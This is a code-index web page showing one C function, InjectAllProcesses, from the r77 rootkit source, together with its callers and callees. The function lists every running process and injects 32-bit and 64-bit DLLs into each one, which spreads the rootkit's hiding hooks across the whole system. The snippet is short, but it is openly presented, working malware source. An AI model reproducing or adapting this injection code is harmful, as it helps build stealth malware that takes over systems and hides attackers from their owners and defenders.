MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / InjectAllProcesses

Function InjectAllProcesses

r77api/r77process.c:88–109  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

86 return result;
87}
88BOOL InjectAllProcesses(LPBYTE dll32, DWORD dll32Size, LPBYTE dll64, DWORD dll64Size)
89{
90 BOOL result = FALSE;
91
92 LPDWORD processes = NEW_ARRAY(DWORD, 10000);
93 DWORD processCount = 0;
94 if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount))
95 {
96 processCount /= sizeof(DWORD);
97
98 for (DWORD i = 0; i < processCount; i++)
99 {
100 InjectDll(processes[i], dll32, dll32Size);
101 InjectDll(processes[i], dll64, dll64Size);
102 }
103
104 result = TRUE;
105 }
106
107 FREE(processes);
108 return result;
109}
110
111BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count)
112{

Callers 2

InjectAllFunction · 0.85
ControlCallbackFunction · 0.85

Calls 1

InjectDllFunction · 0.85

Tested by

no test coverage detected